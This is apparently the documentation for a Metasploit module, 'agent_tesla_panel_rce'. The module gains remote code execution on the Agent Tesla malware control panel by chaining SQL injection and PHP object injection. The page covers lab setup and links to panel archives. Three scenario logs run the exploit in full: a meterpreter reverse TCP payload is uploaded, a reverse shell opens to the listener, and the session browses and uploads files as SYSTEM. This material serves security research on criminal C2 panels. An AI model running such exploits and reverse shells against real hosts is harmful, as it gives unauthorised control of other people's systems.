## Vulnerable Application

### Description

This module exploits a command injection vulnerability within the control center of Agent Tesla. Attackers can turn this
vulnerability into an RCE that can be obtained by exploiting two vulnerabilities (SQLi + PHP Object Injection) that occur within the
`WebPanel/server_side/scripts/server_processing.php` file. On versions prior to September 12th 2018, attackers can exploit this
vulnerability to gain unauthenticated RCE as the user running the web server. Versions released on or after September 12th 2018
have the following fix that was introduced which means that attackers will require valid credentials in order to
exploit this vulnerability:

```
session_start();
if (!isset($_SESSION['logged_in'])
   || $_SESSION['logged_in'] !== true) {
   header('Location: login.php');
   exit;
}
```

**NOTE:**

Using [CyberCrime Tracker](https://cybercrime-tracker.net/), it was possible to locate several Agent Tesla web panels
available for download. As there are no version numbers displayed in the Agent Tesla control center, it was hard to identify
exactly which releases were available for download. However it was possible to determine roughly when various
editions of Agent Tesla were released by using the timestamps on the files contained in the `zip` archives. From this
information, it was determined that [CyberCrime Tracker](https://cybercrime-tracker.net/) had the following unique versions
available for download:

[WebPanel1.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel1.7z)
 * Released in 2017
 * Unauthenticated RCE
 * Source code protected by `ioncube`.
 * Tested on Windows 7 x64 with WAMP server 3.2.0 x64 and PHP version 5.6.40.

[WebPanel2.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel2.7z)
 * Released in 2018
 * Authenticated RCE
 * Source code protected by `ioncube`.
 * Tested on Windows 7 x64 with WAMP server 3.2.0 x64 and PHP version 7.2.18.

[WebPanel3.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel3.7z)
 * Released in 2019
 * Authenticated RCE
 * Plain text source code, `ioncube` is **not** needed.
 * Tested on Windows 7 x64 WAMP server 3.2.0 x64 and PHP version 5.6.40.

### Setup

#### Using Windows

##### Install WAMP Server 3.2.0 on Windows 10 x64

1. Download the latest version of [WAMP Server](https://sourceforge.net/projects/wampserver/files/latest/download)
and install it using the default settings.
2. Search for `Wamp` within the search bar and click on the result titled `Wampserver64`, or run `C:\\wamp64\\wampmanager.exe`.
3. Wait for the application to start, and then right click on the purple/green W within the
tray and ***check*** `Wamp Settings > Allow VirtualHost local IP's others than 127.*`.
4. Open `c:/wamp64/bin/apache/apache2.4.41/conf/extra/httpd-vhosts.conf` and replace the line `Require local` with `Require all granted`.
5. Select PHP version 5.6.40 by selecting `PHP > Version > 5.6.40` (***left click*** on started application icon)
and wait for the icon to go from brown to green again.
6. Browse to `http://127.0.0.1/phpmyadmin/` and log in with the username `root` and a blank password.
7. On the page `http://127.0.0.1/phpmyadmin/index.php`, find the list of databases on the left hand
side of the page and click the `New` button above it.
8. Under the `Create database` section, set the database name to `tesla` and set the text type
to `utf8_general_ci`. Then click the `Create` button.
9. Confirm the database was created, and afterwards log out of `PHPMyAdmin`.
9. Unzip one of the 7zip files. You should see a folder called `WebPanel` that is contained within. Copy this folder to `C:\wamp64\www`.
10. Delete the file at `C:\wamp\www\WebPanel\config.php` if it exists.
11. OPTIONAL: If using [WebPanel2.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel2.7z)
or [WebPanel1.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel1.7z), follow the directions
to install `IonCube` in the [Installing Ioncube](#Installing%20Ioncube) section.
11. Browse to `http://127.0.0.1/WebPanel/logout.php` to ensure you are properly logged out and
then browse to `http://127.0.0.1/WebPanel/setup.php`.
12. Set the `Database Host` field to `127.0.0.1`, the `MySql Username` field to `root`, leave the `MySql Password` field,
set the `Database Name` field to `tesla` and set the `Username` and `Password` fields under `Login Informations` section
to the username and password you would like to log into the web panel as.
13. Browse to `http://127.0.0.1/WebPanel/login.php` and confirm you can log into the web panel and view the main web
panel itself. You should see a header titled `Dashboard` followed by some sections labeled `Computers`, `Keystrokes`,
`Passwords` and `Screenshots` if the login succeeded.

#### Installing Ioncube

##### Windows

Follow [Install WAMP Server 3.2.0 on Windows 10 x64](#Install%20WAMP%20Server%203.2.0%20on%20Windows%2010%20x64) steps.

1. Download [ioncube loader wizard](https://www.ioncube.com/loader-wizard/loader-wizard.zip).
2. Make sure you have the proper version of PHP selected within `Wamp` for the WebPanel
you want install before using `ioncube loader wizard`.

  * For [WebPanel1.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel1.7z) you need PHP 5.6.40.
  * For [WebPanel2.7z](https://github.com/mekhalleh/agent_tesla_panel_rce/raw/master/resources/WebPanel2.7z) you can
  use PHP 7.2.18 or PHP 7.3.12.

3. Uncompress the contents of `loader-wizard.zip` into `C:\Wamp64\www\loader-wizard`.
4. Browse to http://localhost/loader-wizard/ioncube/loader-wizard.php.
5. Select `Local install`
6. Follow the installation instructions.
7. Right click on the WAMP tray icon and click `Refresh`.
8. Browse to `http://127.0.0.1/loader-wizard/ioncube/loader-wizard.php?timeout=0&ini=0&page=loader_check` and verify
that ionCube Loader was installed successfully.

## Verification Steps

Follow [Setup](#Setup) and [Scenarios](#Scenarios).

## Options

### PASSWORD

The Agent Tesla CnC password to authenticate with (needed for authenticated RCE exploitation).

### TARGETURI

The base URI path of control center. Default: '/WebPanel'

### USERNAME

The Agent Tesla CnC username to authenticate with (needed for authenticated RCE exploitation).

## Targets

```
   Id  Name
   --  ----
   0   Automatic (Dropper)
   1   Unix (In-Memory)
   2   Windows (In-Memory)
```

## Scenarios

### WebPanel1.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 5.6.40, Apache 2.4.41, MariaDB 10.4.10
```
msf > use exploit/multi/http/agent_tesla_panel_rce
msf exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5
LHOST => 169.254.115.5
msf exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16
RHOSTS => 169.254.162.16
msf exploit(multi/http/agent_tesla_panel_rce) > show options

Module options (exploit/multi/http/agent_tesla_panel_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The Agent Tesla CnC password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     169.254.162.16   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /WebPanel/       yes       The URI where the Agent Tesla CnC panel is located on the target
   USERNAME                    no        The Agent Tesla CnC username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  169.254.115.5    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP-Dropper)


msf exploit(multi/http/agent_tesla_panel_rce) > set LPORT 6633
LPORT => 6633
msf exploit(multi/http/agent_tesla_panel_rce) > check
[+] 169.254.162.16:80 - The target is vulnerable.
msf exploit(multi/http/agent_tesla_panel_rce) > exploit

[*] Started reverse TCP handler on 169.254.115.5:6633
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Targeted operating system is: windows
[*] Sending php/meterpreter/reverse_tcp command payload
[*] Payload uploaded as: .rzzg.php to C:\wamp64\www\\WebPanel\\server_side\scripts\.rzzg.php
[*] Sending stage (38288 bytes) to 169.254.162.16
[*] Meterpreter session 1 opened (169.254.115.5:6633 -> 169.254.162.16:51956) at 2020-06-16 16:01:57 -0500
[+] Deleted C:\wamp64\www\\WebPanel\\server_side\scripts\.rzzg.php

meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer    : DESKTOP-EMAVUN1
OS          : Windows NT DESKTOP-EMAVUN1 10.0 build 18363 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter > ls
Listing: C:\wamp64\www\WebPanel\server_side\scripts
===================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  2244   fil   2016-09-21 18:10:39 -0500  ids-arrays.php
100666/rw-rw-rw-  2235   fil   2016-09-21 18:10:39 -0500  ids-objects.php
100666/rw-rw-rw-  2069   fil   2016-09-21 18:10:39 -0500  jsonp.php
100666/rw-rw-rw-  7959   fil   2016-09-21 18:10:40 -0500  mysql.sql
100666/rw-rw-rw-  1453   fil   2016-09-21 18:10:40 -0500  objects.php
100666/rw-rw-rw-  1957   fil   2016-09-21 18:10:40 -0500  post.php
100666/rw-rw-rw-  7921   fil   2016-09-21 18:10:40 -0500  postgres.sql
100666/rw-rw-rw-  1500   fil   2017-08-14 16:48:16 -0500  server_processing.php
100666/rw-rw-rw-  7857   fil   2016-09-21 18:10:40 -0500  sqlite.sql
100666/rw-rw-rw-  8021   fil   2016-09-21 18:10:40 -0500  sqlserver.sql
100666/rw-rw-rw-  14438  fil   2016-09-30 04:53:10 -0500  ssp.class.php

meterpreter >
```

### WebPanel2.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10

```
msf > use exploit/multi/http/agent_tesla_panel_rce
msf exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5
LHOST => 169.254.115.5
msf exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test
USERNAME => test
msf exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test
PASSWORD => test
msf exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16
RHOSTS => 169.254.162.16
msf exploit(multi/http/agent_tesla_panel_rce) > show options

Module options (exploit/multi/http/agent_tesla_panel_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   test             no        The Agent Tesla CnC password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     169.254.162.16   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /WebPanel/       yes       The URI where the Agent Tesla CnC panel is located on the target
   USERNAME   test             no        The Agent Tesla CnC username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  169.254.115.5    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP-Dropper)


msf exploit(multi/http/agent_tesla_panel_rce) > exploit

[*] Started reverse TCP handler on 169.254.115.5:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Targeted operating system is: windows
[*] Sending php/meterpreter/reverse_tcp command payload
[*] Payload uploaded as: .UKtE.php to C:\wamp64\www\\WebPanel\\server_side\scripts\.UKtE.php
[*] Sending stage (38288 bytes) to 169.254.162.16
[*] Meterpreter session 1 opened (169.254.115.5:4444 -> 169.254.162.16:51698) at 2020-06-16 14:55:19 -0500
[+] Deleted C:\wamp64\www\\WebPanel\\server_side\scripts\.UKtE.php

meterpreter > ls
Listing: C:\wamp64\www\WebPanel\server_side\scripts
===================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  2244   fil   2016-09-21 18:10:39 -0500  ids-arrays.php
100666/rw-rw-rw-  2235   fil   2016-09-21 18:10:39 -0500  ids-objects.php
100666/rw-rw-rw-  2069   fil   2016-09-21 18:10:39 -0500  jsonp.php
100666/rw-rw-rw-  7959   fil   2016-09-21 18:10:40 -0500  mysql.sql
100666/rw-rw-rw-  1453   fil   2016-09-21 18:10:40 -0500  objects.php
100666/rw-rw-rw-  1957   fil   2016-09-21 18:10:40 -0500  post.php
100666/rw-rw-rw-  7921   fil   2016-09-21 18:10:40 -0500  postgres.sql
100666/rw-rw-rw-  1642   fil   2018-09-11 17:31:16 -0500  server_processing.php
100666/rw-rw-rw-  7857   fil   2016-09-21 18:10:40 -0500  sqlite.sql
100666/rw-rw-rw-  8021   fil   2016-09-21 18:10:40 -0500  sqlserver.sql
100666/rw-rw-rw-  14438  fil   2016-09-30 04:53:10 -0500  ssp.class.php

meterpreter > sysinfo
Computer    : DESKTOP-EMAVUN1
OS          : Windows NT DESKTOP-EMAVUN1 10.0 build 18363 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter >
```

### WebPanel3.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10
```
msf > use exploit/multi/http/agent_tesla_panel_rce
msf exploit(multi/http/agent_tesla_panel_rce) > show options

Module options (exploit/multi/http/agent_tesla_panel_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The Agent Tesla CnC password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /WebPanel/       yes       The URI where the Agent Tesla CnC panel is located on the target
   USERNAME                    no        The Agent Tesla CnC username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP-Dropper)


msf exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16
RHOSTS => 169.254.162.16
msf exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5
LHOST => 169.254.115.5
msf exploit(multi/http/agent_tesla_panel_rce) > set LPORT 5566
LPORT => 5566
msf exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test
USERNAME => test
msf exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test
PASSWORD => test
msf exploit(multi/http/agent_tesla_panel_rce) > exploit

[*] Started reverse TCP handler on 169.254.115.5:5566
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Targeted operating system is: windows
[*] Sending php/meterpreter/reverse_tcp command payload
[*] Payload uploaded as: .RVfu.php to C:\wamp64\www\\WebPanel\\server_side\scripts\.RVfu.php
[*] Sending stage (38288 bytes) to 169.254.162.16
[*] Meterpreter session 1 opened (169.254.115.5:5566 -> 169.254.162.16:51840) at 2020-06-16 15:14:12 -0500
[+] Deleted C:\wamp64\www\\WebPanel\\server_side\scripts\.RVfu.php

meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer    : DESKTOP-EMAVUN1
OS          : Windows NT DESKTOP-EMAVUN1 10.0 build 18363 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter > ls
Listing: C:\wamp64\www\WebPanel\server_side\scripts
===================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  2244   fil   2016-09-21 15:10:40 -0500  ids-arrays.php
100666/rw-rw-rw-  2235   fil   2016-09-21 15:10:40 -0500  ids-objects.php
100666/rw-rw-rw-  2069   fil   2016-09-21 15:10:40 -0500  jsonp.php
100666/rw-rw-rw-  1453   fil   2016-09-21 15:10:40 -0500  objects.php
100666/rw-rw-rw-  1957   fil   2016-09-21 15:10:40 -0500  post.php
100666/rw-rw-rw-  1642   fil   2018-09-11 14:31:18 -0500  server_processing.php
100666/rw-rw-rw-  14438  fil   2016-09-30 01:53:10 -0500  ssp.class.php

meterpreter > cd "C:\\Windows\\"
meterpreter > pwd
C:\Windows
meterpreter > upload README.md
[*] uploading  : README.md -> README.md
[*] Uploaded -1.00 B of 2.67 KiB (-0.04%): README.md -> README.md
[*] uploaded   : README.md -> README.md
meterpreter > ls
Listing: C:\Windows
===================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
...
100666/rw-rw-rw-  34925     fil   2019-03-18 23:46:33 -0500  Professional.xml
40777/rwxrwxrwx   0         dir   2020-04-10 12:14:25 -0500  Provisioning
100666/rw-rw-rw-  2734      fil   2020-06-16 15:14:53 -0500  README.md
...

meterpreter > ls README.md
100666/rw-rw-rw-  2734  fil  2020-06-16 15:14:53 -0500  README.md
```
